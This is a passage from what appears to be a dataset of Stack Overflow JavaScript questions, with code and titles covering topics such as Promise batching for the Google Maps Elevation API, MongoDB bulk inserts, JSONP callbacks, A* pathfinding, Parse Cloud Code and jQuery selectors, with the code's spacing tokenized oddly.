A , B , C , F , D , E ] // this could be another correct resultresult_2 = [ A , F , D , B , C , E ] let names = Object.keys ( imageDependencies ) ; names.sort ( ( a , b ) = > { if ( imageDependencies [ a ] .includes ( b ) ) return 1 else return -1 } )",JavaScript - Sort depending on dependency tree "JS : This is a bit of a question with some level of detail to it , so let me first explain the situation , then my implementation and last the question so you understand best . As of April 4 an update is added and the issues are narrowed down to one pending issue , see the bottom of this question for the up to date info.TLDR ; I have a long route returned from Google Maps Directions API and want an Elevation chart for that route . Too bad it does n't work because it 's requested via GET and the URL maximum length is 2.048 chars which get exceeded . I splitted the requests ; guaranteed the correct processing order using Promises ; but Evelation data is n't always complete for full route , is n't always displayed in the correct order , does n't always follow the given path and inter elevation location spans over several km 's sometimes . Introduction ; Trying to create an elevation chart for a Google Maps DirectionsService response I 'm facing an issue with too long routes ( this does n't seem to be related to distance , rather than number of LatLngs per overview_path ) . This is caused by the fact the ElevationService is requested via GET and a maximum length of an URL is 2048 chars . This problem is described on SO here as well.Implementation ; I figured I would be smarter than Google ( not really , but at least trying to find a way to work around it ) , to split the path returned by the DirectionsService ( overview_path property ) into batches and concatenate the results ( elevations returned by the ElevationService method getElevationsAlongPath ) . To get the best level of detail I query the ElevationService with 512samples per batch ; and because the ElevationService spreads the samples over the lengthof the path I set up a maximum number of LatLng per batch and checkhow many batches are required to process the full path ( totalBatches= overview_path.length / maxBatchSize ) ; and finally get an even spread for my directions result in an attemptto get an equal level of detail for the complete route ( batchSize =Math.ceil ( overview_path.length / totalBatches ) ) .While the ElevationService work asynchronously I make sure the requests are all processed in the correct order with help of other SO-users first using setTimout and now working with Promises.My codeSide note ; I 'm also batching the DirectionService 's request to address the 8 waypoint limitation the service has but I can confirm this is not the issue since I 'm also facing the issue with 8 or fewer waypoints.Problem ; The problems I 'm facing are : Elevation data is not always following the full path of route , meaning the last elevation point in the chart is ( far ) from the end of the route ; Elevation data sometimes gets displayed in random order as if it seems the promises were still not waiting for the next task to execute ; Elevation data doens n't always follow the given LatLng 's from theoverview_path provided in a given batch ( see screenshot ) ; Inter elevation distance data is a lot . Sometimes spans multiple km 's while requesting for 512 samples for an evenly matched batch size with a maximum of 200 LatLngs per batch . I figured batching the ElevationService using Promises ( and before timing with setTimtout ) would solve all my problems but the only problem I solved is not exceeding the 2.048 char request URL and facing the above described new issues.Help is really appreciatedAlso I would like to put a 250 rep. bounty on this question right ahead but that 's impossible at this moment . So please feel free to reply as I can later add the bounty and award it to the answer that solves the issues described . A 250 rep. bounty has been awarded to show my appreciation for you to point me in the right direction.Thanks for reading and replying ! Updated at April 4 leaving 1 pending issue ( for as far as I can tell at the moment ) Problem with elevations in random order tackled downI 've been able to tackle some of the problems when I was noticing inconsistent behavior in the directions results . This was caused for an obvious reason : the asynchronous calls were n't `` Promised '' to be scheduled so some of the times the order was correct , most of the times it was n't . I did n't noticed this at first because the markers were displayed correctly ( cached ) .Problem with inter elevation distance tackled downThe div displaying the elevation data was only a 300px wide and containing many datapoints . By such a small width I was simply unable to hover over enough points causing to trigger elevation points which lie further apart from each other . Problem with elevation data not showing along the routeSomehow somewhere down the line I 've also solved this issue but I 'm not sure if the bigger width or `` Promising '' the directions order has solved this.Pending issue : elevation data is not always completeThe only remaining issue is that elevation data is not always covering the full path . I believe this is because an error in the Promising logic because logging some messages in the console tells me the elevation chart is drawn at a point where not all Promise-then 's have completed and I think this is caused by refiring a batched call when an Over Query Limit error is returned by the Google Maps API.How can I refire the same chain when an Over Query Limit error is returned ? I 've tried not to resolve the same function again , but just fire the setTimeout ( ... ) , but then the Promise does n't seem to resolve the refired batch at the moment it is no longer getting an Over Query Limit . Currently this is how I 've set it up ( for both directions and elevation ) : var maxBatchSize = 200 ; var currentBatch = 0 ; var promise = Promise.resolve ( ) ; var totalElevationBatches = Math.ceil ( directions.routes [ 0 ] .overview_path.length / maxBatchSize ) ; var batchSize = Math.ceil ( directions.routes [ 0 ] .overview_path.length / totalElevationBatches ) ; while ( currentBatch < totalElevationBatches ) { promise = addToChain ( promise , currentBatch , batchSize ) ; currentBatch++ ; } promise.then ( function ( ) { drawRouteElevationChart ( ) ; // this uses the routeElevations to draw an AreaChart } ) ; function getRouteElevationChartDataBatchPromise ( batch , batchSize ) { return new Promise ( function ( resolve , reject ) { var elevator = new google.maps.ElevationService ( ) ; var thisBatchPath = [ ] ; for ( var j = batch * batchSize ; j < batch * batchSize + batchSize ; j++ ) { if ( j < directions.routes [ 0 ] .overview_path.length ) { thisBatchPath.push ( directions.routes [ 0 ] .overview_path [ j ] ) ; } else { break ; } } elevator.getElevationAlongPath ( { path : thisBatchPath , samples : 512 } , function ( elevations , status ) { if ( status ! = google.maps.ElevationStatus.OK ) { if ( status == google.maps.ElevationStatus.OVER_QUERY_LIMIT ) { console.log ( 'Over query limit , retrying in 250ms ' ) ; resolve ( setTimeout ( function ( ) { getRouteElevationChartDataBatchPromise ( batch , batchSize ) ; } , 250 ) ) ; } else { reject ( status ) ; } } else { routeElevations = routeElevations.concat ( elevations ) ; resolve ( ) ; } } ) ; } ) ; } function addToChain ( chain , batch , batchSize ) { return chain.then ( function ( ) { console.log ( 'Promise add to chain for batch : ' + batch ) ; return getRouteElevationChartDataBatchPromise ( batch , batchSize ) ; } ) ; } function getRouteElevationChartDataBatchPromise ( batch , batchSize ) { return new Promise ( function ( resolve , reject ) { var elevator = new google.maps.ElevationService ( ) ; var thisBatchPath = [ ] ; for ( var j = batch * batchSize ; j < batch * batchSize + batchSize ; j++ ) { if ( j < directions.routes [ 0 ] .overview_path.length ) { thisBatchPath.push ( directions.routes [ 0 ] .overview_path [ j ] ) ; } else { break ; } } elevator.getElevationAlongPath ( { path : thisBatchPath , samples : 512 } , function ( elevations , status ) { if ( status ! = google.maps.ElevationStatus.OK ) { if ( status == google.maps.ElevationStatus.OVER_QUERY_LIMIT ) { console.log ( 'ElevationService : Over Query Limit , retrying in 200ms ' ) ; resolve ( setTimeout ( function ( ) { getRouteElevationChartDataBatchPromise ( batch , batchSize ) ; } , 200 ) ) ; } else { reject ( status ) ; } } else { console.log ( 'Elevations Count : ' + elevations.length ) ; routeElevations = routeElevations.concat ( elevations ) ; resolve ( ) ; } } ) ; } ) ; }",Inaccurate Google Maps Elevation Service response when splitting a too large path "JS : I 'm trying to insert about 100k documents with a single collection.insert call using the standard Mongo DB driver for Node.JS : However , i get the following error : Since the individual documents are clearly smaller than 16 MB and given the stack trace , it seems the driver does n't split up commands automatically . How do I fix this , preferably without coding it myself ? var MongoClient = require ( 'mongodb ' ) .MongoClient ; MongoClient.connect ( 'mongodb : //localhost/testdb ' , function ( err , db ) { var collection = db.collection ( 'testcollection ' ) ; var docs = [ ] ; var doc = { str : 'Lorem ipsum dolor sit amet , consectetur adipiscing elit . Etiam sit amet urna consequat quam pharetra sagittis vitae at nulla . Suspendisse non felis sollicitudin , condimentum urna eu , congue massa . Nam arcu dui , sodales eget auctor nec , ullamcorper in turpis . Praesent sit amet purus mi . Mauris egestas sapien magna , a mattis tellus luctus et . Suspendisse potenti . Nam posuere neque at vulputate ornare . Nunc mollis lorem est , at porttitor augue sodales sed . Ut dui sapien , fermentum eu laoreet sed , sodales et augue . Aliquam erat volutpat . ' } ; for ( var i = 0 ; i < 100000 ; i++ ) { docs [ i ] = doc ; } collection.insert ( docs , function ( err ) { throw err ; } ) ; } ) ; /var/node/testproject/node_modules/mongodb/lib/mongodb/connection/base.js:242 throw message ; ^Error : Document exceeds maximum allowed bson size of 16777216 bytes at InsertCommand.toBinary ( /var/node/testproject/node_modules/mongodb/lib/mongodb/commands/insert_command.js:86:11 ) at Connection.write ( /var/node/testproject/node_modules/mongodb/lib/mongodb/connection/connection.js:230:42 ) at __executeInsertCommand ( /var/node/testproject/node_modules/mongodb/lib/mongodb/db.js:1857:14 ) at Db._executeInsertCommand ( /var/node/testproject/node_modules/mongodb/lib/mongodb/db.js:1930:5 ) at insertAll ( /var/node/testproject/node_modules/mongodb/lib/mongodb/collection/core.js:205:13 ) at Collection.insert ( /var/node/testproject/node_modules/mongodb/lib/mongodb/collection/core.js:35:3 ) at /var/node/testproject/dbtest.js:15:16 at /var/node/testproject/node_modules/mongodb/lib/mongodb/mongo_client.js:431:11 at process._tickCallback ( node.js:664:11 )",Node.JS Mongo DB driver not splitting up bulk inserts ? "JS : This is the demo in jsfiddle , demo What I want is let the scrolled items ( 'one ' , 'two ' , 'three ' , ' 4 ' , ' 5 ' , ' 6 ' , ' 7 ' ) automatically scroll up like the demo showed , and stop 2 sec when it 's in the middle position . But in my demo , it will shack for a while after stopping in the middle position.Here is the place in my demo code for setting position.Any one can help me ? Thanks ! UPDATE : The reason why I set 35 is because I found that the scrolled items are approximately in the middle position when it equals to 0 , -35 , -70 , -105 , ... . But when I console all x , I found that the value of x is between ( 31 , -251 ) . Do you know how to find the exact position when each items are in the middle of position ? Thanks ! if ( ( x == 0 ) || ( x % 35== 0 ) ) { setTimeout ( function ( ) { i.top = x + 'px ' ; } , 1000 ) ; } else { i.top = x + 'px ' ; }",Javascript how to set interval time to stop scrolling "JS : I 'm trying to get data from server using JSONP with jQuery 's ajax method.However , following error is shown in error console : If you open the source file URL , you can see following JSON , and it seems correct JSON.I also tried to specify method name with jsonpCallback : `` callbackmethod '' , but it did n't work.I also used $ .getJson ( ) method and jquery-jsonp ( http : //code.google.com/p/jquery-jsonp/ ) but the result was the same.The browser is Firefox and using HTML4.This is used in a firefox addon.You can read full code here : https : //builder.addons.mozilla.org/addon/1048275/revision/749I use $ .ajax in getEncryptedMessage function in common-content.jsThanks in advance . $ .ajax ( { dataType : `` jsonp '' , url : `` https : //secure.flickr.com/services/feeds/photos_public.gne ? tags=cat & tagmode=any & format=json '' , type : `` GET '' , data : `` msg=aaa '' , cache : true , jsonp : `` jsoncallback '' , // jsonpCallback : `` callbackmethod '' , success : function ( encryptedMsg ) { console.log ( `` Encryption success ! `` ) ; } , error : function ( req , errmsg , thrownError ) { console.log ( `` Error : HTTP `` + req.status + `` `` + errmsg ) ; } } ) ; Error : jQuery1720502636097747291_1339479763752 is not definedSource File : https : //secure.flickr.com/services/feeds/photos_public.gne ? tags=cat & tagmode=any & format=json & jsoncallback=jQuery1720502636097747291_1339479763752 & msg=aaaLine : 1 jQuery1720502636097747291_1339479763752 ( { `` title '' : `` Recent Uploads tagged cat '' , // ... `` items '' : [ { `` title '' : `` Chaton '' , // ... } , // ... ] } )",`` ( Callback method ) is not defined '' in JSONP access on Firefox Addon "JS : I am still learning angularjs and I have problem with understanding difference between $ scope and model object and this currently block me to organize ( use some best practice ) my app.As I understand $ scope should be read only ( watched some tutorials where I heard this ) .So when I load app I should use service to get some data from database and store it in model.UPDATERight now all data that I get from server are stored in controller $ scope and I am trying to move it to services and make controller dumber.I also check this article and I am trying to use second or third option but still ca n't find best way to implement it.This is my service and controller : But in this implementation to do list is again in the controller.Where should I store this list after I get it from server and from where it should be set ( from controller or from service ) so I can manipulate this list in a cached way ( keep it local and update it occasionally ) ? I am coming from C # world and there I always used entity objects ( e.g . User , Product , Item etc . ) populate those object in a loop and store it in a list . I ca n't find a way how should I use this approach in angular too and if yes should that be service with properties only ? I use one service to keep the list and one service to contain CRUD functions.If I load data in $ scope from my model how to update that scope later if some other part of code change data in my model ? Change can come from another controller or be updated via SignalR for example.Also as I heard when I update data on view as $ scope should be readonly I need to update service and again how and when to update $ scope then ? I am sorry if my question is too noob but I would be thankful if someone can help me to understand where to keep what in angular ? function dataService ( $ http ) { var service = { getToDoList : getToDoList , getToDoListByType : getToDoListByType , getToDoById : getToDoById } ; return service ; function getToDoList ( ) { } function getToDoListByType ( ) { } function getToDoById ( ) { } } function toDoController ( $ location ) { var vm = this ; vm.todos = [ ] ; vm.title = 'toDoController ' ; activate ( ) ; function activate ( ) { return getToDos ( ) .then ( function ( ) { console.log ( `` ToDos loaded '' ) ; } ) ; } function getToDos ( ) { return dataservice.getToDoList ( ) .then ( function ( data ) { vm.todos = data ; return vm.todos ; } ) ; } }",Where to keep model in angularJS app ? "JS : This appears to work and is valid , but is there any reason I should n't do this ? It saves me a line of code and lets me set a variable and the value of a text area . It 's equivalent to this : $ ( ' # price ' ) .val ( default_price = 2.9 ) ; default_price = 2.9 ; $ ( ' # price ' ) .val ( default_price ) ;",set variable inside val "JS : I am trying to add my array of object to map the primeng checkbox and would like to get the values for selected check boxes.I have tried FormControlName but it it 's throwing undefined after submitting.below is the rough code Template : How I can get the reference of my control and values the same for drop down and check boxes.How to get the values for dynamic forms ? data = [ { type : dropdown text : 'drop ' , num : 1.23 , options : [ { value=1 , text= 'drop1 } , { value=2 , text= 'drop2 } ] } , { type : checkbox text : 'check ' , num : 1.23 , options : [ { value=1 , text= 'check1 } , { value=2 , text= 'check2 } ] } , { type : radio text : 'radio ' , num : 1.23 , options : [ { value=1 , text= 'radio1 } , { value=2 , text= 'radio2 } ] } , ] ; < form [ formGroup ] = '' group '' > < div *ngFor= '' let d of data '' > < div *ngSwitchCase = `` checkbox '' > < p-checkbox *ngFor= '' let check of options '' [ value ] = '' check.value '' [ formControlName ] = '' check.text '' > < /p-checkbox > < /div > < div *ngSwitchCase = `` dropdown '' > < p-dropdown *ngFor= '' let drop of options '' [ value ] = '' drop.value '' [ formControlName ] = '' d.text '' > { { drop.text } } < /p-dropdown > < /div > < div *ngSwitchCase = `` radio '' > < p-radioButton *ngFor= '' let radio of options '' [ value ] = '' radio.value '' [ formControlName ] = '' d.text '' > < /p-radioButton > < /div > < /div > < /form >",primeng checkbox with reactive form with array "JS : I 'm currently implementing the A* algorithm in JavaScript . However , I 've ran into a problem : My closedList seems way too large . Here is a screenshot of the output : What could cause this problem ? Is my heuristic calculation wrong ? Or did I understand/implement something wrong in this method ? : If you want to see more parts of the code , just tell me . I appreciate any help , thank you . Node.prototype.getHeuristic = function ( pos0 , pos1 ) { // Manhatten Distance var horizontalDistance = Math.abs ( pos1.x - pos0.x ) ; var verticalDistance = Math.abs ( pos1.y - pos0.y ) ; return horizontalDistance + verticalDistance ; } PathFinder.prototype.findPath = function ( ) { var start = new Date ( ) .getTime ( ) ; var openList = [ ] ; var closedList = [ ] ; var startNode = this.startNode ; var grid = this.grid ; var endNode = this.finishNode ; openList.push ( startNode ) ; while ( openList.length > 0 ) { var lowInd = 0 ; for ( var i = 0 ; i < openList.length ; i++ ) { if ( openList [ i ] .f < openList [ lowInd ] .f ) { lowInd = i ; } } var currentNode = openList [ lowInd ] ; if ( currentNode.x == endNode.x & & currentNode.y == endNode.y ) { var curr = currentNode ; var ret = [ ] ; while ( curr.parent ) { ret.push ( curr ) ; curr.type = NODES.PATH ; curr = curr.parent ; } this.finishNode.type = NODES.FINISH ; this.printGrid ( ) ; console.log ( `` Total Operations : `` + this.operations ) ; var end = new Date ( ) .getTime ( ) ; var time = end - start ; console.log ( 'Execution time : ' + time + `` ms '' ) ; return true ; } openList.splice ( lowInd , 1 ) ; closedList.push ( currentNode ) ; if ( currentNode.type ! = NODES.START ) { currentNode.type = NODES.CLOSED ; } var neighbors = currentNode.getNeighbors ( this.grid ) ; for ( var indexNeighbors = 0 ; indexNeighbors < neighbors.length ; indexNeighbors++ ) { var neighbor = neighbors [ indexNeighbors ] ; if ( this.findNodeInArray ( closedList , neighbor ) || neighbor.isWall ( ) ) { continue ; } var gValue = currentNode.g + 1 ; var isGvalueLowest = false ; if ( ! this.findNodeInArray ( openList , neighbor ) ) { isGvalueLowest = true ; neighbor.h = neighbor.getHeuristic ( neighbor , endNode ) ; openList.push ( neighbor ) ; } else if ( gValue < neighbor.g ) { isGvalueLowest = true ; } if ( isGvalueLowest ) { neighbor.parent = currentNode ; neighbor.g = gValue ; neighbor.f = neighbor.g + neighbor.h ; neighbor.type = NODES.MARKED ; console.log ( neighbor ) ; this.operations++ ; } } } }",A* Algorithm : closed list contains too many elements / too large "JS : Issue DescriptionI have a simple Cloud Code command to create or update an object . If there is NO objectId passed in , the routine creates a new object and returns the objectId . If the objectId exists in the parameter list , it fetches the object and updates the parameters accordingly.The routine works for new objects fine.The object.save ( ) is failing when I try to update an object , despite the object.fetch ( ) sub-routine working . error : code=101 , message=Object not found.Verbose server logs indicate a very strange PUT command ... PUT /parse/classes/Receipt/ [ object % 20Object ] what I would expect to see is PUT /parse/classes/Receipt/GJaXcf7fLDObject ACL is public r+wWhy is the object.save ( ) not working with a valid objectId ? _Cloud CodeSteps to reproduceCall the cloud code from iOS SDK with data for a new objectNotice that the command works and a new object is added to the databaseCall the command again with updated informationNotice that the command fails with object not foundExpected ResultsObject should be updated accordinglyActual Outcome error : code=101 , message=Object not found.Environment SetupServerparse-server version : 2.2.12Operating System : Mac OS X 10.11.5Hardware : MacBook Pro 2010Localhost or remote server ? LocalhostJavascript : Parse/js1.8.5NodeJS 5.10.1DatabaseMongoDB version : 3.2.4Hardware : MacBook Pro 2010Localhost or remote server ? LocalhostLogs/TraceStoring NEW object returnsAttempt to Update object returns Parse.Cloud.define ( `` uploadReceipt '' , function ( request , response ) { var Receipt = Parse.Object.extend ( `` Receipt '' ) ; var receipt = new Receipt ( ) ; // passed in parameters are [ 'property ' : [ 'type ' : t , 'value ' : v ] ] var dict = request.params ; var objectIdDict = dict [ `` objectId '' ] ; console.log ( `` Object Dict : `` + objectIdDict ) ; Parse.Promise.as ( ) .then ( function ( ) { // if we already have an objectId we are UPDATING // Need to FETCH first if ( objectIdDict ! = undefined ) { console.log ( `` Searching for ID : `` + objectIdDict [ `` value '' ] ) ; receipt.set ( `` objectId '' , objectIdDict [ `` value '' ] ) ; return receipt.fetch ( ) ; } else { console.log ( `` NEW RECEIPT '' ) ; return Parse.Promise.as ( receipt ) ; } } ) .then ( function ( receipt ) { console.log ( `` Receipt : `` + receipt.id ) ; // copy over the keys from our passed in parameters to the object for ( var key in dict ) { //console.log ( `` Key : `` + key + `` Value : `` + dict [ key ] [ `` value '' ] ) ; if ( dict [ key ] [ `` type '' ] == `` Raw '' ) { console.log ( `` Key : `` + key + `` Value : `` + dict [ key ] [ `` value '' ] ) ; receipt.set ( key , dict [ key ] [ `` value '' ] ) ; } else if ( dict [ key ] [ `` type '' ] == `` Date '' & & key ! = `` updatedAt '' ) { console.log ( `` Key : `` + key + `` Value : `` + dict [ key ] [ `` value '' ] ) ; var time = dict [ key ] [ `` value '' ] * 1000 ; // milliseconds receipt.set ( key , new Date ( time ) ) ; } else { // object type var Obj = Parse.Object.extend ( dict [ key ] [ `` type '' ] ) ; var newObj = new Obj ( ) ; newObj.id = dict [ key ] [ `` value '' ] ; receipt.set ( key , newObj ) ; } } // make sure our user is set receipt.set ( `` user '' , request.user ) ; // adjust the status because it has now been uploaded receipt.set ( `` status '' , RECEIPT_SUBMITTED ) ; console.log ( `` Prior to save '' ) ; return receipt.save ( ) ; } ) .then ( function ( receipt ) { console.log ( `` Finished '' ) ; response.success ( { `` status '' : receipt.get ( `` status '' ) , '' objectId '' : receipt.id } ) ; } , function ( error ) { console.log ( error ) ; response.error ( error ) ; } ) ; } ) ; verbose : POST /parse/classes/Receipt { 'user-agent ' : 'node-XMLHttpRequest , Parse/js1.8.5 ( NodeJS 5.10.1 ) ' , accept : '*/* ' , 'content-type ' : 'text/plain ' , host : 'localhost:1337 ' , 'content-length ' : '471 ' , connection : 'close ' } { `` date '' : { `` __type '' : `` Date '' , `` iso '' : `` 2016-06-19T00:30:37.492Z '' } , `` category '' : { `` __type '' : `` Pointer '' , `` className '' : `` Category '' , `` objectId '' : `` XZ1bSHtZBY '' } , `` status '' : 0 , `` amount '' : 61.45 , `` notes '' : `` Hopefully this works well '' , `` gui_status '' : -1 , `` currency '' : `` USD '' , `` user '' : { `` __type '' : `` Pointer '' , `` className '' : `` _User '' , `` objectId '' : `` vL4ih9BAX8 '' } } verbose : { `` status '' : 201 , `` response '' : { `` objectId '' : `` GJaXcf7fLD '' , `` createdAt '' : `` 2016-06-19T00:30:57.092Z '' } , `` location '' : `` http : //localhost:1337/parse/classes/Receipt/GJaXcf7fLD '' } Finishedverbose : { `` response '' : { `` result '' : { `` status '' : 0 , `` objectId '' : `` GJaXcf7fLD '' } } } verbose : PUT /parse/classes/Receipt/ [ object % 20Object ] { 'user-agent ' : 'node-XMLHttpRequest , Parse/js1.8.5 ( NodeJS 5.10.1 ) ' , accept : '*/* ' , 'content-type ' : 'text/plain ' , host : 'localhost:1337 ' , 'content-length ' : '473 ' , connection : 'close ' } { `` category '' : { `` __type '' : `` Pointer '' , `` className '' : `` Category '' , `` objectId '' : `` XZ1bSHtZBY '' } , `` status '' : 0 , `` amount '' : 5.47 , `` notes '' : `` How about now '' , `` gui_status '' : 0 , `` date '' : { `` __type '' : `` Date '' , `` iso '' : `` 2016-06-19T00:12:25.788Z '' } , `` currency '' : `` USD '' , `` user '' : { `` __type '' : `` Pointer '' , `` className '' : `` _User '' , `` objectId '' : `` vL4ih9BAX8 '' } } verbose : error : code=101 , message=Object not found.ParseError { code : 101 , message : 'Object not found . ' } verbose : error : code=141 , code=101 , message=Object not found .",Cloud Code object.save ( ) results in 'object not found ' with very strange PUT command "JS : I have been reading JavaScript Patterns book by Stoyan Stefanov and one of the patterns to enforcing the new operator for constructor functions goes like thiswhen writing this way you can invoke Waffle either one of these waysI think this is a helpful feature not sure if it 's implemented in future versions of ecma/javascript I came up with something on my own that I thought could just copy and paste each time when creating a constructor functionsomething like this Therefore I can invoke Waffle either way new Waffle or Waffle ( ) and still have it return an objectMy problem that I 'm having is hereIs there anyway I can refer to new Waffle ( ) without referring to the actual name of the constructor function meaning so I could copy and paste this each time and not have to change anything . Meaning I could I save Waffle ( ) as a variable and do something likeI wish I could use this.name but that does n't work either until it is invoked.I have a feeling I ca n't but wanted to at least ask some of the people here on stack overflow if it was a possibilityAgain your comments and feedback is appreciated function Waffle ( ) { if ( ! ( this instanceof Waffle ) ) { return new Waffle ( ) ; } this.tastes = `` yummy '' ; } Waffle.prototype.wantAnother = true ; var first = new Waffle ( ) , second = Waffle ( ) ; function checkInstance ( name ) { if ( name.constructor.name === undefined ) { return `` construct it '' } else { return false ; } } function Waffle ( ) { var _self = checkInstance.call ( this , this ) ; if ( _self === `` construct it '' ) { return new Waffle ( ) } this.tastes = `` yummy '' } var waffle = Waffle ( ) waffle if ( _self === `` construct it '' ) { return new Waffle ( ) } return new var",Pattern for enforcing new in javascript "JS : Is it possible to create a new data type in JavaScript , like string ? Example : I have the variable person and I want to declare that the type of that variable is Person.Like this : Output : `` Person '' var person = `` idk '' console.log ( typeof person )",Is it possible to create a new data type in JavaScript ? "JS : I need to split an HTML element based on a users selection using jQuery . In the following example square brackets indicate the selection : should becomeTo do this I create a range , find the TextNodes containing the selection boundaries and split them using splitText ( index ) . Next I check whether the parent element must also be split . If yes , I clone and empty them , move the second parts of the original elements into the clones and insert them after the original like so : Problem is , though , tail only contains the second part of the TextNode . The following < span / > is not moved , so the HTML is messed up like so ( selection is lost underway , but not important ) : I also tried $ ( tail ) .nextAll ( ) but it seems to return an empty set . Does anybody have an idea how I can achieve this ? If anything is not clear , please ask for more detail.EDIT : Like suggested I created the following http : //jsfiddle.net/7PdLd/4/ . Lor [ em < a > ips ] um < span > dolor < /span > < /a > Lor [ em < a > ips < /a > ] < a > um < span > dolor < /span > < /a > var tail = textNode.splitText ( offset ) ; var $ parent = $ ( textNode ) .parent ( ) ; if ( $ parent.is ( `` span '' ) ) { var $ tail = $ parent.clone ( ) ; $ tail.contents ( ) .remove ( ) ; $ tail = $ tail.append ( tail ) .insertAfter ( $ parent ) ; if ( $ parent.parent ( ) .is ( `` a '' ) ) { $ tail = $ parent.parent ( ) .clone ( ) ; $ tail.contents ( ) .remove ( ) ; $ tail = $ tail.append ( $ tail ) .insertAfter ( $ parent.parent ( ) ) ; } return $ tail [ 0 ] ; } else if ( $ parent.is ( `` a '' ) ) { var $ tail = $ parent.clone ( ) ; $ tail.contents ( ) .remove ( ) ; $ tail = $ tail.append ( tail ) .insertAfter ( $ parent ) ; return $ tail [ 0 ] ; } return tail ; Lor em < a > ips < span > dolor < /span > < /a > < a > um < /a >",Split an element containing TextNodes and elements using jQuery "JS : im trying to bind the `` timeupdate '' event from an audio tag , which does n't exist yet . I was used to do it this way : I tried this with the audio tag : This does n't work though . Is this supposed to work ? Or what am I doing wrong ? Any help is highly appreciated.There is a fiddel for you : jsfiddel $ ( `` body '' ) .on ( `` click '' , '' # selector '' , function ( e ) { } ) ; $ ( `` body '' ) .on ( `` timeupdate '' , `` .audioPlayerJS audio '' , function ( e ) { alert ( `` test '' ) ; console.log ( $ ( `` .audioPlayerJS audio '' ) .prop ( `` currentTime '' ) ) ; $ ( `` .audioPlayerJS span.current-time '' ) .html ( $ ( `` .audioPlayerJS audio '' ) .prop ( `` currentTime '' ) ) ; } ) ;",html5 audio bind timeupdate before element exists "JS : To understand my code please visit this page : Please click on packaging filter firsthttp : //codepen.io/mariomez/pen/qNrzAr ? editors=0010It 's a simplified animated filtering method.Each red box might have more than one classes as an identifier for the filter.My goal with this code is to achieve a nice animated way for fade-in and for fade-out . For now I managed to do this only for fade-in . Even though I wrote the animation for fade-out I ca n't use it properly in the JS code . Example for 1 filter : I want all classes except `` packaging '' to fade-out nicely and have the packaging class fade-in.jQuery CODETrying to use the fade-in animation : ( FAILED ) How can I improve this code ? $ ( document ) .ready ( function ( ) { $ ( `` .filter-logo '' ) .click ( function ( ) { $ ( `` .all '' ) .fadeOut ( normal , addClass ( 'animated fadeOutEffect ' ) ) ; $ ( `` .logo '' ) .fadeIn ( normal , addClass ( 'animated fadeInEffect ' ) ) ; } ) ; $ ( `` .filter-website '' ) .click ( function ( ) { $ ( `` .all '' ) .fadeOut ( ) ; $ ( `` .website '' ) .fadeIn ( ) .addClass ( 'animated fadeInEffect ' ) ; } ) ; $ ( `` .filter-packaging '' ) .click ( function ( ) { $ ( `` .all '' ) .fadeOut ( ) ; $ ( `` .packaging '' ) .fadeIn ( ) .addClass ( 'animated fadeInEffect ' ) ; } ) ; $ ( `` .filter-forsale '' ) .click ( function ( ) { $ ( `` .all '' ) .fadeOut ( ) ; $ ( `` .forsale '' ) .fadeIn ( ) .addClass ( 'animated fadeInEffect ' ) ; } ) ; $ ( `` .filter-all '' ) .click ( function ( ) { $ ( `` .all '' ) .fadeOut ( ) ; $ ( `` .logo , .website , .packaging , .forsale , .all '' ) .fadeIn ( ) .addClass ( 'animated fadeInEffect ' ) ; } ) ; } ) ; $ ( `` .all '' ) .not ( '.packaging ' ) .fadeOut ( ) .addClass ( 'animated fadeOutEffect ' ) ; $ ( `` .packaging '' ) .fadeIn ( ) .addClass ( 'animated fadeInEffect ' ) ; } ) ;",animated effect for fadein/fadeout using jQuery "JS : If you have an instance of an object in javascript , it seems it that can be difficult to find its actual type , ieOne way around it I found was to make the object its own prototype , and then you can gets its name effectively by calling prototype.constructor.name , Would this be an OK way of doing it ( what are the pros/cons ? ) or is there a better practice I am missing out on ? Thanks . var Point2D = function Point2D ( x , y ) { return { X : x , Y : y } } var p = new Point2D ( 1,1 ) ; typeof p // yields just 'Object ' not 'Point2D ' var Point2D = function Point2D ( x , y ) { return { X : x , Y : y , prototype : this } } new Point2D ( 1,1 ) .prototype.constructor.name // yields 'Point2D '",Best practice for determining objects type in Javascript "JS : Every once in a while I find myself doing something along the lines of the followingExplanationCreate an HTML image element.Assign its src attributeAssign its onload eventPass one or more Canvas contexts to the event handler Draw the loaded image to the canvasesThe thing I am not clear about is this - will the JavaScript garbage collector deal with the task of discarding the img element or do I need to do it myself or else face a slooow memory leak ? var img = new Image ( ) ; img.src = 'php/getpic.php ? z= ' + imid + ' & th=0 ' ; img.onload = function ( ) { drawImages ( img , contexts , sizes ) } ;",Does JavaScript garbage collect this ? "JS : Apparently , as I 've discovered while commenting on another answer , jQuery ( rather its underlying selector engine Sizzle ) lets you quote the argument to the : not ( ) selector as well as the : has ( ) selector . To wit : In the Selectors standard , quotes are always representative of a string and never of a selector or a keyword , so quoting the argument to : not ( ) is always invalid . This will not change in Selectors 4.You can also see that it 's non-standard syntax by adding an unsupported CSS selector such as : nth-last-child ( 1 ) causing the selector to fail completely : Is there any good reason , technical or otherwise , for allowing quotes here ? The only possibilities that come to mind are : Consistency with : contains ( ) which allows both quoted and unquoted arguments , as seen in the old Selectors spec . Except : contains ( ) accepts strings/keywords , not selectors ... Consistency with the implementation of custom pseudos using $ .expr [ ' : ' ] , which always allows quoted and unquoted arguments.Consistency and ease of porting to their method counterparts .not ( ) and .has ( ) ( just remove or split the outer quotes and change colons to periods ? ) .But I ca n't find any sources to support or oppose them . In fact , the ability to quote selector arguments itself is n't documented anywhere either , nor does there appear to be any difference between quoting and not quoting the argument : $ ( 'div : not ( `` span '' ) ' ) $ ( 'span : has ( `` span '' ) ' ) $ ( 'div : not ( `` span '' ) : nth-last-child ( 1 ) ' ) $ ( 'span : has ( `` span '' ) : nth-last-child ( 1 ) ' ) $ ( 'div : not ( span ) ' ) $ ( 'span : has ( span ) ' )",Why do functional pseudos such as : not ( ) and : has ( ) allow quoted arguments ? "JS : So I 'm trying to do a file upload using JQuery 's AJAX thing , and it keeps giving me the error 500 . I am also using this PHP code to process the file upload : Unfortunately , I can not release the link to where the actual problem is , but hopefully this code is enough to help solve the problem . If any other details are needed , please do not hesitate to let me know . $ ( function ( ) { $ ( 'form ' ) .submit ( function ( ) { $ .ajax ( { type : 'POST ' , url : 'photochallenge/submit.php ' , data : new FormData ( this ) , processData : false , contentType : false , success : function ( data ) { Materialize.toast ( data , 4000 ) ; } } ) ; return false ; } ) ; } ) ; < ? php $ target_dir = `` uploads/ '' ; $ target_file = null ; $ uploadOk = 1 ; $ response = `` Please choose an image '' ; // Check if image file is a actual image or fake imageif ( isset ( $ _POST [ `` pic '' ] ) ) { $ check = 